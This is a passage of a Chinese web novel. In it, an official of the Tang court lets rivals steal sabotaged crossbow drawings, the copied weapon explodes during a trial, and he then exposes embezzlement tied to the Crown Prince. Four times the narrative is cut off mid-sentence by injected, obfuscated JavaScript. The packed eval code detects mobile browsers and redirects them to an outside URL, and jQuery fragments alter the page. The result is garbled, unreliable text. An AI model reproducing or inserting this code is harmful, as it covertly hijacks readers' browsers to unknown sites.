有人期待,有人等着看笑话。
而身处漩涡中心的监丞赵德胜,此刻正点头哈腰地站在林浩面前。
“哎呀,林少监,您真是神人降世啊!这才几天,就把神机连**给弄出来了?下官这心里,佩服!佩服得五体投地!”
他一边说,一边夸张地作揖,“您放心,您需要什么,尽管开口!人手、材料,要什么给什么!”
“好。”林浩点点头,“我需要一个独立的工坊,任何人不得靠近。另外,从工匠里,给我挑二十个手艺最好、最年轻力壮的。”
“没问题!包在下官身上!”赵德胜把胸脯拍得“嘭嘭”响。
他转身离去时,脸上的笑容瞬间消失,嘴角撇出一丝不屑的冷笑。
很快,林浩带着张铁山和十几个被新政收服的年轻工匠,进驻了少府监最偏僻的一处独立院落。
工坊外,禁军亲自把守,彻底与外界隔离。
每天,都有大量的木材、铁料、铜料被源源不断地运送进去,里面叮叮当当的敲打声日夜不绝。
赵德胜和几个心腹躲在远处,看着这番热闹景象,心中愈发笃定。
“装神弄鬼!”赵德胜朝地上啐了一口,“他以为把门一关,就能造出神器了?”
“监丞大人说的是,”一个主簿谄媚地凑趣,“依小的看,他就是在里面瞎折腾。等到了日子,再找个借口说材料不合格,或者工匠不听话,把责任推得一干二净。”
赵德胜摇了摇头:“不,他要是这么干,就太小看陛下了。他既然敢夸下海口,就一定得拿出东西来。只不过……拿出来的会是个什么玩意儿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391663|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,可就不好说了。”
几人相视一笑,笑声阴恻恻的。
第三天夜里,林浩的官房。
他不小心将一卷画满了精密图纸的草稿遗忘在了书案上,人就被一名小吏急匆匆地叫走了,说是商议“工匠伙食采买”的琐事。
而官房的门,虚掩着一条缝。
许久,门轴发出一声若有若无的呻吟,一道影子贴着墙根,如壁虎般悄无声息地溜了进去。
片刻之后,影子又悄无声息地溜了出来,袖中似乎多了一卷东西。
当夜,赵德胜的府邸。
他摊开那卷从林浩官房里偷出来的图纸,呼吸都粗重了几分。
肥胖的手指哆嗦着抚过图纸上那繁复无比的结构,齿轮、弹簧、机括,环环相扣,玄妙至极。
“成了!这小子果然沉不住气,把真正的图纸都画出来了!”
“监丞大人,这东西……我们看得懂吗?”心腹凑过来,有些担忧。
“我们看不懂,有人看得懂!”赵德胜将图纸视若珍宝地卷起,递给身后的一个亲信,“马上去东市的王记铁铺,把这个交给王磐!告诉他,就按这个图,给我仿造一个一模一样的出来!记住,只能比图纸上更精细,不能有半点差池!”
王记铁铺的王磐,是整个少府监公认的技术第一人。
几年前称病告退,自己开了个铁匠铺。
但赵德胜知道,这老家伙才是旧势力的技术核心,少府监许多见不得光的“生意”,都出自他手。
深夜,王记铁铺的后院,火炉烧得正旺。
王磐展开图纸,在灯下仔细端详,鹰爪般的手指缓缓划过图纸上的每一个零件。
当他的手指停留在一个极其复杂的齿轮联动结构上时,他那双浑浊的老眼,倏地亮了一下。
试射的前一天晚上。
封闭的工坊内,灯火通明。
一把通体泛着乌光的崭新连**,静静地躺在工作台上,每一个零件都严丝合缝,充满了力量感。
墨顿看着眼前这台刚刚组装完毕的连**,满脸都是忧色。
“老师,我们真的要用这个吗?赵德胜他们已经拿到了那份假图纸,肯定会仿造出来。到时候在陛下面前,万一……”
“万一什么?”林浩正在用一块软布,仔细擦拭着**身上一个冰冷的机括,“万一他们仿造的**,比我们的更厉害?”
墨顿用力点了点头。
那张他们故意泄露出去的假图纸,虽然有几处致命的缺陷,但外形上却比眼前这台真货要繁复得多,也唬人得多。
林浩停下了手中的动作。
他走到墨顿身边,拍了拍他的肩膀:
“贪了三十万贯的人,为了保住自己的荣华富贵,什么事都做得出来。想要抓鬼,就得先让鬼自己从坟里爬出来,站在太阳底下。”
他转过身,重新拿起那个刚刚擦拭干净的、结构简单却异常精巧的金属机括,轻轻一按。
“咔哒!”
一声清脆的机括咬合声在寂静的工坊内响起,干脆利落。
“别担心,最华丽的陷阱,从来不是用来抓老虎的。”
“是用来崩掉它满口牙的。”
第96章:好言难劝要死的“鬼”
少府监的演武场,今日格外肃杀。
东边高台上,兵部尚书李靖一身戎装,手按在腰间刀柄上,神情不怒自威。
旁边工部尚书段纶则捻着胡须,看似平静,但微微抖动的指尖暴露了他内心的不平静。
他们身后,站着各自的心腹将领与官员,整个场子的气氛,因为这些军方和工部大佬的到来,被压得有些沉。
西边,则是太子李承乾派来的几名东宫属官,为首的王御史,一张脸拉得像茅厕里的石头,又臭又长,看谁都像欠了他几百贯钱。
他们是奉命来“监察”的,更是揣着明白装糊涂,专程来找茬的。
场下,少府监的官吏和工匠们远远围成一圈,官吏们聚在一起窃窃私语,不时对场中的林浩指指点点。
而工匠们则沉默得多,尤其是那些吃上了肉、换了新茅厕的年轻工匠,他们看着林浩的背影,眼神里混杂着紧张与期待。
“都准备好了?”
林浩看向身边的墨顿。
墨顿抱着那把造型奇特的连**,用力点了点头,把**抱得更紧了。
这把**通体乌黑,线条简洁流畅到了极致,仿佛一头蓄势待发的猎豹。
林浩迈步走到场中央,对着高台上的李靖和段纶拱了拱手。
“李尚书,段尚书,各位大人,今日试制的,是在下改良后的神机连**。”
话音刚落,西边看台的王御史便发出一声冷哼:“凉州侯好大的口气,神机连**乃国之重器,百年来多少巧匠都未能尽善,你说改良就改良了?”
林浩压根没看他,只是对墨顿递了个眼色。
墨顿立刻会意,快步走到百步开外的一排厚木靶子前,举起了连**。
全场的目光都聚焦在他身上。
只见他没有像寻常**手那样,用尽全身力气去蹬踏上弦,只是从腰间的一个皮囊里,取出一个巴掌大的木匣,“咔哒”一声,清脆地按进了**身之中。
李靖的身体微微前倾,眼睛眯了起来。
“预备!”
随着林浩一声令下,墨顿扣动了**。
“嗤——!”
一声仿佛布匹被瞬间撕裂的锐响划破空气,十支**箭几乎在同一瞬间脱离了**身,狠狠地钉向最中央的那个草靶!
“噗噗噗噗噗!”
沉闷的入肉声连成一片,那个半尺厚的硬木靶子,在众人惊骇的注视下,中心处猛地炸开一个大洞,被十支**箭硬生生撕碎!
箭矢的力道之大,竟去势不减,穿透靶子后又飞出十几步,才深深扎进后面的土墙里,只留下嗡嗡作响的尾羽。
全场死寂。
落针可闻。
“好!”
李靖猛地一拍扶手,从座位上豁然站起,他死死盯着那个被射成筛子的靶子,声音里是压抑不住的激动。
“这是何等样的射速!何等样的威力!”
段纶也激动得满脸通红,抚着胡须的手都在抖:“装填如此便捷!一个箭匣十发,一个娴熟的士兵携带十个箭匣,便是一百发!这……这哪里是**,这分明是战场上收割人命的镰刀!”
场中,墨顿没有停下。
他熟练地单手一拨,空了的箭匣弹了出来,随即从腰间摸出新的箭匣,“咔哒”一声再次装填完毕。
整个过程,不过三息!
“嗤——!”
又是同样撕裂空气的锐响,第二个靶子应声碎裂。
这一下,连西边看台上的王御史等人都白了脸。
他们虽然不懂军械,但这种简单粗暴的破坏力,已经超出了他们的想象。
一个普通士兵,就能在瞬息之间泼洒出如此恐怖的箭雨,这要是成千上万的军队装备了……
他们不敢想下去。
就在众人被这神兵的威力彻底震撼时,一个极其不合时宜的谄媚声音响了起来。
“哎呀呀,林少监果然是天纵奇才,年少有为啊!”
监丞赵德胜满脸堆笑,从人群里挤了出来。
他先是对着林浩一通夸张的吹捧,随即话锋一转,脸上挤出几分为难和惋惜。
“只是……林少监,您这样品,下官看着怎么那么眼熟呢?好像……好像是我们少府监故纸堆里,几年前就淘汰不用的旧图纸啊。”
此言一出,全场哗然。
李靖拧起了眉头,锐利的视线投向赵德胜:“赵监丞,你这话是什么意思?”
赵德胜躬着身子,一脸“忠厚老实”地解释道:“尚书大人明鉴,下官绝不是有意要拆林少监的台。只是我们少府监也是个人才济济、藏龙卧虎的地方。有些一辈子钻研机括之术的老师傅,早就觉得这旧图纸有诸多不足,私下里,已经研发出了更精妙、威力更强的连**!”
他猛地一侧身,对着工匠人群里一招手,声音提得老高。
“王师傅,您还愣着干什么?快过来,让两位尚书大人也开开眼,看看什么才是我少府监真正的技术!”
一个须发花白、身形干瘦的老者抱着一个巨大的木箱,脸上带着几分匠人的孤高走了出来。
来人正是王磐。
赵德胜指着王磐,声音中带着一股子被埋没天才的不平:“两位尚书大人!这位王磐王师傅,才是我少府监真正的巧匠!可林少监上任以来,刚愎自用,排除异己,只用身边乳臭未干的亲信,对王师傅这样的国之栋梁不闻不问,险些就让明珠蒙尘啊!”
“林少监,下官知道您年轻气盛,不服输。不过王师傅这把新**,论精巧,论威力,都在您那把之上。若是不信,咱们可以当场组装,让大家评评理,到底谁才是滥竽充数的那一个!”
这番话,又毒又狠,直接把林浩打成了窃取旧图纸功劳、还打压真正贤才的小人。
林浩看着他上蹿下跳的表演,神色平静:“赵监丞,新械研发,人命关天,这可不是儿戏。万一出了什么差池,后果不堪设想。”
“哈哈哈哈!”赵德胜像是听到了天底下最好笑的笑话,笑得浑身肥肉乱颤,“怎么?林少监这是怕了?怕自己的东西被人比下去,在两位尚书大人面前丢了面子?”
西边看台上的王御史抓住了机会,立刻站起身来,义正言辞地呵斥。
“林浩!太子殿下命我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391664|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
等前来监察,就是要做到公平公正!岂能因你一人之私,就阻碍大唐发现贤才?本官看,很有必要比一比!”
他转向王磐,用一种嘉许的口吻:“王师傅,你尽管放手施为!有本官在此,无人敢埋没你的功劳!”
太子的人都发话了,李靖和段纶对视一眼,也不好再说什么。
“既然如此,那就试试吧。”李靖沉声道。
王磐得了许可,脸上露出压抑不住的得意。
他打开木箱,从里面取出一个个闪着暗沉金属光泽的零件。这些零件比林浩那把连**的要繁复得多,齿轮套着齿轮,机括连着机括,各种弹簧连杆交错,看上去极为复杂玄妙,充满了某种暴力美学。
在众人屏息的注视下,王磐将零件一个个组装起来。
他的动作极为熟练,显然早已在私下里演练过无数次。
很快,一把比林浩的样品大上一圈,结构也复杂数倍的巨**,被稳稳地架在了支架上。
赵德胜和几名心腹官员的脸上,已经控制不住地露出了胜利的笑容。
王磐装填好箭矢,对着最后一个完好无损的靶子,仔细调整好角度。
他回头傲慢地看了一眼高台,深吸一口气,伸手握住了**。
“看好了!”
他大喝一声,猛地扣下!
预想中万箭齐发的轰鸣没有出现。
演武场上,只听见“咔嚓”一声,一道极其刺耳、仿佛是金属被硬生生拗断的脆响。
紧接着——
“轰!!!”
一声震耳欲聋的巨响!
那把结构繁复的巨**,没有射出任何一支箭矢。
它整个**,仿佛被一只无形的大手从内部捏爆,猛地炸开!
无数细碎的金属零件、被炸成木屑的碎片,裹挟着恐怖的动能,朝四面八方爆射开来!
离得最近的王磐,连一声惨叫都没来得及发出,他整个上半身,就被这股恐怖的力量炸得血肉模糊,红的白的溅了一地,当场毙命!
他身后的几个工匠也被**的气浪狠狠掀翻在地,身上被高速飞射的零件打出无数个血窟窿,一个个倒在血泊里撕心裂肺地哀嚎。
现场瞬间陷入了一片死寂,随即被巨大的恐慌和刺破耳膜的尖叫声淹没。
鲜血、碎肉、断裂的机括、还有刺鼻的硝烟味……
演武场顷刻间变成了修罗地狱。
“**啦!”
“快跑啊!”
赵德胜脸上的笑容彻底僵住了,他呆呆地看着王磐那具已经不成人形的尸体,两腿一软,一屁股瘫倒在地,裤裆处迅速湿了一片。
混乱之中,王御史猛地跳了起来,指向场中纹丝不动的林浩:
“林浩!你好大的胆子!此等**凶器,竟敢呈于朝廷重臣面前!你是要害死我大唐的三军将士吗?!”
赵德胜像是被这句话点醒了,他猛地回过神,连滚带爬地跪到高台前,涕泪横流。
“尚书大人!冤枉啊!是林浩!这图纸……这图纸就是林浩设计的!是他!是他故意画错了图纸,才导致如此惨剧!是他害**王师傅啊!”
第97章:反咬我是吧?老子当场掀桌!
血腥气混着硝烟的焦糊味,钻进每个人的鼻腔,呛得人直欲作呕。
“林浩,你还有什么话说?”王御史趁机发难,“当着两位尚书的面,竟敢如此胆大妄为,这是要谋反吗?”
场下的官吏们瞬间炸了锅,对着林浩指指点点。
“我就说嘛!一个毛头小子,哪来这么大本事,肯定是偷奸耍滑!”
“这不是陷害是什么?王师傅死得太冤了!”
“太子殿下慧眼如炬,早就看出此子心术不正!今天总算是露出狐狸尾巴了!”
就连一向稳重的工部尚书段纶,此刻也按捺不住了。
他从高台上快步走下,看着满地狼藉,痛心疾首:“林少监,这到底是怎么回事?!”
“段大人,稍安。”
林浩抬起手,指向那具血肉模糊的尸体和四散的**机残骸,“这把**,不是我设计的,更不是我工坊里造的。**也好,谋反也罢,这顶帽子,我不戴。”
“放屁!”赵德胜指着林浩破口大骂,“图纸明明就是你的!你还想狡辩?”
“我的连**,在那。”
林浩甚至懒得看他一眼,只是朝墨顿的方向扬了扬下巴,“结构简单,威力巨大,刚才诸位亲眼所见。”
“而王磐这把,机括叠着机括,齿轮套着齿轮,恨不得把所有东西都堆上去。这是两种东西,瞎子才看不出来。”
“况且,王磐组装之前,我已经提醒过,新械研发不是儿戏。可惜,好言难劝要死的鬼。”
“这……”段纶的动作停住了。
他想起来了,林浩确实说过。
只是当时所有人都以为那是怯场和嫉妒,尤其是太子派来的王御史,更是直接打断了他。
这么说来,林浩非但无过,反而有功?
“一派胡言!”赵德胜彻底急了,干脆耍起了无赖,“你少在这里妖言惑众!这就是按照你的图纸造的!出了事,天王老子来了也得你负责!”
“是吗?”林浩终于正眼看向他,“那我倒想问问,赵监丞,我的图纸,你是从哪儿弄来的?”
赵德胜心里咯噔一下,但事已至此,只能硬着头皮咬死:“当然是你自己拿出来的!少在这装蒜!”
“有意思。”林浩不禁冷笑,“三天前的夜里,我的官房进了贼,丢了一张未完成的设计草图。”
“当时我就觉得这事不简单,怕有人拿我的东西出去惹是生非,所以连夜就去了趟大理寺,备了个案。”
这话一出,李靖那只按在刀柄上的手,五指猛然收紧:“什么?少府监进贼了?”“大人若是不信,可以看看王磐的尸体。”
林浩指向那摊烂肉,“这贼不是很聪明,居然把图纸带在身上了。”
李靖一挥手,两名亲兵立刻上前,在王磐血肉模糊的胸口摸索。
片刻之后,他们举起一张被鲜血浸透的纸片。
纸片虽残破,但上面用炭笔勾勒的繁复机括线条,依然清晰。
“墨顿,把咱们的存档,拿给两位尚书大人过目。”
墨顿立刻从怀中取出一卷保存完好的图纸,小心翼翼地展开。
两张图纸并排放在一起。
虽然一张完整如新,一张血污残破。
但上面的设计线条、结构标注,乃至画图的笔法习惯,都明明白白地昭示着——它们出自同一人之手!
“果然是同一张图纸!”段纶倒吸一口凉气。
这一下,真相大白!
赵德胜的心理防线彻底崩溃了,他两腿一软,再也站不住,“噗通”一声跪倒在地。
李靖的声音低沉得可怕:“林少监,这事……”
“很简单。”林浩直视着李靖的眼睛,“有人偷走了我未完成的设计草图,交给王磐仿制。而这张草图上的设计,存在致命缺陷,我本打算修改完善,却被人偷走了。”
“没想到,他们偷鸡不成蚀把米后,居然还想当着两位尚书大人的面,演一出**栽赃的好戏!”
“胡说!”王御史见势不妙,还想做最后的挣扎,“林浩,你休要血口喷人!你……”
“给本帅闭嘴!”
李靖猛地转身,一声怒喝如同平地惊雷,直接把王御史剩下的话全都吼了回去!
“来人!封锁现场!任何人不得离开!”
几名禁军轰然应诺,长刀出鞘,迅速在演武场四周布下岗哨。
林浩看着瘫倒在地的赵德胜,冷冷地说道:“赵监丞,现在,我问,你答。”
“第一,王磐一个早已离职的工匠,他是怎么避开层层监管,在外面私自打造这种军国重器的?材料哪来的?钱谁给的?”
“第二,我的图纸,是怎么从我上了锁的官房,飞到王磐手里的?中间,过了谁的手?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391665|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“第三,这背后,到底是谁,想让我林浩死,想让我大唐的神兵利器,变成一堆废铜烂铁?!”
一连三问,如三记重锤,狠狠砸在赵德胜的心口。
他肥硕的身体软成一滩烂泥,一股骚臭的液体从他的裤裆下迅速蔓延开来。
“拿下他!”
李靖一声令下,两名禁军立刻上前,架住了赵德胜的胳膊。
“冤枉啊!尚书大人!冤枉啊!”
赵德胜涕泪横流地哭喊起来,“我……我都是奉命行事啊!是他们逼我的!”
“奉谁的命?”李靖冷冷地问。
赵德胜的哭喊声戛然而止,眼中只剩下无尽的惊恐。
“带走!严加看管!”
李靖不再追问,一挥手,赵德胜便被拖了下去。
随后,他转向受伤的工匠们,声音缓和了些:“速传军医,全力救治伤者!另外,收敛王磐尸体,等候大理寺查验!”
段纶则悄悄招来几名心腹,压低了声音吩咐:“把那堆炸碎的零件,一个不漏地给我收起来!带回工部,我要亲自验看,到底是什么东西,能炸成这个样子!”
远处,几名**的官员早已没了刚才的嚣张,一个个面如土色。
就在这时,一名内侍一路小跑地冲进演武场,直奔李靖而来,尖着嗓子喊道:“李将军!陛下口谕!命您彻查此事,一个时辰内,带上人证物证,亲自进宫复命!”
李靖神情一肃,躬身领命:“臣,遵旨!”
内侍走后,墨顿快步凑到林浩身边,压低声音:“老师,您猜的没错!”
他摊开手心,里面是一块被炸得变形的**机残片。
“您看这上面的打磨痕迹,这个收尾的角度,和咱们在库房里看到的那批‘损耗’掉的精铁,一模一样!”
林浩接过那块还带着血污和温度的铁片。
“李尚书!”
他猛地转身,大步走向李靖。
“请立刻下令,彻底封锁少府监所有库房!账册、物料,片纸不得外流!所有官吏、工匠,全部就地看押,挨个审查!”
“玄机子说少府监有鬼,今天,我就请尚书大人,随我一起去把这只大鬼,从老巢里抓出来!”
李靖沉吟片刻,最终重重地点了点头:“传我将令,封锁少府监武库、料库、账房!任何人胆敢妄动,格杀勿论!”
第98章:林浩收网:东宫的瓜熟了!
夜色深沉,少府监演武场被冲天的火光映得透亮。
林浩站在血迹斑斑的演武场中央,看着禁军士兵将最后一块**机残片装入木箱。
“老师,所有残片都收齐了。”墨顿抱着一个沉甸甸的木箱走过来,“按您说的,每一块都用布包好,编了号。”
林浩点点头,转身对着几名被他紧急召集的年轻工匠说道:“从现在开始,你们就是临时调查组。任何人不得离开少府监,所有发现都要第一时间汇报给我。”
张铁山拄着锤子,花白的胡子上还沾着血点:“林大人,您需要我们做什么?”
“把这些残片,一块一块地拼起来。我要知道这把**到底是怎么炸的,用的什么材料,哪个环节出了问题。”
林浩的声音很平静,但在场的工匠们都听出了其中的杀意。
一个年轻工匠举起手中的铁片:“大人,我发现这块铁的打磨痕迹很特别,和咱们平时用的不一样。”
墨顿立刻凑过去,仔细端详着那块变形的金属:“对!就是这种痕迹!老师,您还记得库房里那批‘损耗’的精铁吗?上面的痕迹一模一样!”
林浩接过铁片,用手指摩挲着上面的纹路。这种独特的打磨方式,绝不是少府监内部工匠的手艺。
“张老,你见过这种打磨法吗?”
张铁山摇摇头:“没见过。这手艺很精细,但路子野得很。像是……像是外面那些私人作坊的活儿。”
“有意思。”林浩将铁片递还给墨顿,“继续查。我去一趟大理寺。”
……
大理寺的羁押室内,一盏昏暗的油灯照着赵德胜那张惨白的脸。
他蜷缩在角落里,肥胖的身体瑟瑟发抖。自从被抓进来,他一句话都没说,只是不停地念叨着“冤枉”。
“咯吱——”
门开了,林浩走了进来。
赵德胜看到他,瞳孔猛地收缩,身体往墙角缩得更紧:“你……你来干什么?”
“聊聊。”林浩在他对面坐下,“赵监丞,你家里还有什么人?”
“什么?”赵德胜愣住了,没想到林浩会问这个。
“听说你有个儿子,在国子监读书?还有个女儿,刚刚及笄,正在相看人家?”
林浩的语气很平淡,就像在聊家常。
赵德胜的脸更白了:“你……你想干什么?”
“我不想干什么。只是觉得,一个人犯了错,连累家人,挺不值得的。”林浩顿了顿,“尤其是,为了别人的利益,把自己和家人都搭进去,更不值得。”
“我不知道你在说什么!”
“王磐**。”林浩突然换了话题,“死得很惨,你看到了吧?血肉模糊,连个全尸都没留下。”
赵德胜的身体抖得更厉害了。
“你知道为什么会这样吗?”林浩凑近了一些,“因为有人想让我死,但又不敢直接动手,只能用这种阴损的法子。可惜啊,聪明反被聪明误,把王磐给搭进去了。”
“我……我真的不知道……”
“不知道?”林浩冷笑一声,“那我问你,我的图纸,是怎么到王磐手里的?”
赵德胜的嘴唇哆嗦着,半天说不出话来。
“还是让我来猜猜吧。”林浩靠在椅背上,“有人指使你偷我的图纸,然后交给王磐仿制。目的很简单,就是要在两位尚书面前,让我出丑,最好是直接把我搞死。”
“只是没想到,那张图纸有问题,结果把王磐炸**。现在好了,人证没了,你这个物证还在。猜猜看,那个指使你的人,会怎么处理你这个知情人?”
赵德胜的脸彻底没有血色了。
“他们会想方设法灭口,然后把所有罪名都推到你头上。到时候,你就是那个贪赃枉法、勾结外人、意图谋害朝廷命官的罪魁祸首。抄家灭族的那种。”
“不……不会的……”赵德胜的声音小得像蚊子,“殿下不会……”
话一出口,他就意识到自己说漏了嘴,连忙捂住嘴巴。
林浩的嘴角勾起一丝笑意:“殿下?哪个殿下?”
“我……我没说什么……”
“赵德胜,你觉得我傻吗?”林浩的声音突然变冷,“到了这个时候,你还想替别人背锅?你觉得太子殿下会念你的好,保你全家平安?”
赵德胜彻底崩溃了,抱着头痛哭起来:“我也是被逼的啊!他们说只要照做,就给我儿子安排个好前程,给我女儿找个好婆家……”
“现在呢?”
“现在……现在我什么都没了……”
林浩站起身:“其实,你还有一条路。”
赵德胜猛地抬起头:“什么路?”
“将功补过。把你知道的都说出来,提供关键证据,我可以向陛下求情,让你从轻发落。”
“真的?”
“我林浩说话算数。”
赵德胜犹豫了很久,最终点了点头:“好……我说……但是我真的不知道图纸是从哪来的,我只是……只是按照吩咐,把它交给了王磐……”
“谁吩咐的?”
“是……是东宫的王公公……”
……
与此同时,东宫。
太子李承乾来回踱步,脸色阴沉得能滴出水来。
“殿下,最新消息。”一个内侍匆匆跑进来,“赵德胜被大理寺羁押,王磐当场惨死,现场一片狼藉……”
“什么?!”李承乾停下脚步,“王磐**?”
“是的,被那把**炸死的,死状极惨……”
李承乾的脸瞬间煞白。王磐可是他们精心安
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391666|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
排的后手,本想着用来一举搞垮林浩,没想到反而把自己人给搭进去了。
“赵德胜那边怎么样?有没有……”
“暂时还没消息,但是……”内侍的声音更小了,“听说林浩亲自去了大理寺。”
李承乾感觉头皮发麻。赵德胜知道的东西太多了,万一开口……
“立刻传令!”李承乾猛地转身,“让王公公马上离开长安,越远越好!还有,把所有相关的文书信件,全部烧掉,一张纸都不能留!”
“是!”
内侍刚要离开,李承乾又叫住了他:“等等!派人去盯着大理寺,一有消息立刻汇报!”
……
少府监,林浩的官房。
墨顿抱着一摞厚厚的账本走进来:“老师,按您的吩咐,五年内的物资进出记录都调来了。”
“发现什么了?”
“太多异常了!”墨顿翻开一本账册,“您看这里,购买精铁一千斤,单价比市价高出三成。但是入库记录显示,只有七百斤,其余三百斤被标注为‘运输损耗’。”
林浩接过账本,仔细查看着上面的记录。
“还有这笔,购买上等牛皮三百张,价格同样偏高,但入库时只有两百张,剩下的一百张标注为‘质量不合格,已销毁’。”
墨顿越说越激动:“老师,我粗略算了一下,这五年来,类似的异常支出至少有……”
“三十万贯。”林浩放下账本,“我已经算过了。”
“三十万贯?”墨顿倒吸一口凉气,“这……这简直是……”
“是个天文数字。”林浩站起身,走到窗前,“足够装备一支万人的精锐军队了。”
就在这时,门外传来脚步声。张铁山走了进来,手里拿着一块拼接好的**机残片。
“林大人,有重大发现!”
“说。”
“这块机括,用的是咱们少府监三年前‘损耗’的那批精钢!我敢用脑袋担保,绝对不会错!”
林浩接过残片,在灯光下仔细端详。果然,上面有少府监独有的钢印标记,虽然已经变形,但依然清晰可辨。
“还有呢?”
“还有一个老工匠偷偷告诉我,说赵德胜经常和东宫的人私下见面,每次见完面,库房里就会‘莫名其妙’地丢一些东西。”
墨顿兴奋地拍手:“老师,证据齐了!咱们可以……”
“不急。”林浩摆摆手,嘴角勾起一丝冷笑,“鱼儿刚刚上钩,现在收网还太早。”
他走到桌前,提起笔,在纸上写下几行字。
“墨顿,把这个送到大理寺,交给李尚书。告诉他,明天一早,我要见陛下。”
“老师,您要……”
“我要让所有人都知道,少府监的鬼,到底有多大。”
第99章:你贪的每一文钱,都是我的**刀
太极殿内,晨光透过雕花窗棂洒在金砖地面上,却驱不散弥漫在空气中的肃杀之气。
文武百官分列两侧,个个神情凝重。昨日少府监的****,早已传遍了整个长安城。
一夜之间,朝堂上的风向彻底变了。
李世民端**,面无表情地看着殿下跪成一排的几个人。
赵德胜瘫软如泥,几个**的官员脸色煞白,就连平日里最嚣张的王御史,此刻也低着头不敢吱声。
“林浩,你且将昨日之事,详细奏来。”
林浩从容上前,先是对着龙椅深深一拜:“启奏陛下,昨日少府监演武场**,臣已查明真相。”
话音刚落,他身后的墨顿“哐当”一声,将一个沉重的木箱顿在地上。
箱盖打开,里面是用白布分门别类包裹好的**机残骸。
林浩没说话,只是伸手从中取出一块巴掌大小的**碎片,随手扔在了赵德胜面前。
“铛!”
金属与金砖碰撞,发出一声刺耳的脆响,吓得赵德胜浑身一哆嗦。
那碎片边缘锋利,上面暗红色的血迹早已凝固发黑。
“陛下,诸位大人,这就是炸死王磐,炸伤数名工匠的凶器。”
林浩的声音在寂静的大殿中回响,“这东西,从图纸上,就是一个彻头彻尾的**陷阱。”
墨顿立刻展开一张硕大的结构图,上面用朱笔醒目地标注出了几处致命的设计错误。
“此**的齿轮咬合角度,比常规设计大了三度,会导致瞬间扭力过载。弹簧钢材强度不足,无法承受满弦的张力。最致命的是这个机括卡榫,厚度只有标准规格的七成不到。”
林浩指着图纸,声音陡然转冷:“这三处凑在一起,发射的瞬间,它不会射出箭,只会像个铁疙瘩**一样,把自己炸得粉碎,顺便把周围的人撕成碎片!”
兵部尚书李靖猛地踏前一步,死死盯着那些残片,声音压抑着怒火:“你是说,这是有人故意为之?!”
“正是。”林浩从怀中取出一卷图纸展开,“更巧的是,这**凶器的图纸,正是从臣上了锁的官房里,被偷走的那份未完成的草稿。上面这些缺陷,本是臣发现问题后,准备修改的地方。”
“一派胡言!”王御史瞬间炸毛跳了起来,“图纸是你的,出了事就是你的责任!你休想狡辩!”
“哦?”林浩瞥了他一眼,甚至都懒得正眼看他,“王御史的意思是,我林浩自己偷自己的图纸,自己造一把会**的**,然后自己跑到演武场,当着两位尚书和太子亲信的面,把自己炸死,就为了……好玩?”
“噗——”
队列中不知是谁没忍住,笑出了声。
王御史一张老脸瞬间涨成了猪肝色,指着林浩“你、你”了半天,一个字也说不出来。
林浩不再理他,转身走到瘫软的赵德胜面前,居高临下地看着他。
“赵监丞,现在该你了。告诉陛下,我的图纸,是怎么长了腿,从我屋里跑到王磐手上的?”
赵德胜的牙齿开始打颤,发出“咯咯”的响声,浑身抖得像秋风里的落叶。
他抬头,惊恐地看了一眼太子的方向,嘴唇蠕动着。
“是……是有人……有人叫我去拿的……”
“谁?”林浩追问,声如刀锋。
“是……东宫的……”
“住口!”
太子李承乾再也无法保持镇定,猛地从队列中站了出来,厉声打断,“父皇!赵德胜乃贪鄙小人,为求活命,必然胡乱攀咬!他的话,一个字都不能信!”
“太子殿下说得对。”
林浩不急不躁地从袖中抽出另一本厚厚的册子,封皮上写着“少府监库料出入总账”几个大字。
“一个人的攀咬,确实做不得数。但如果是白纸黑字的账本呢?”
他环视大殿,缓缓开口:“臣奉旨彻查少府监,连夜核对了近三年的账目。不查不知道,一查……真是触目惊心啊。”
所有人的心都提到了嗓子眼。
“贞观二年,少府监采购精铁三千斤,市价二十文一斤,账面却是二十八文。入库时,又报‘损耗’九百斤。”
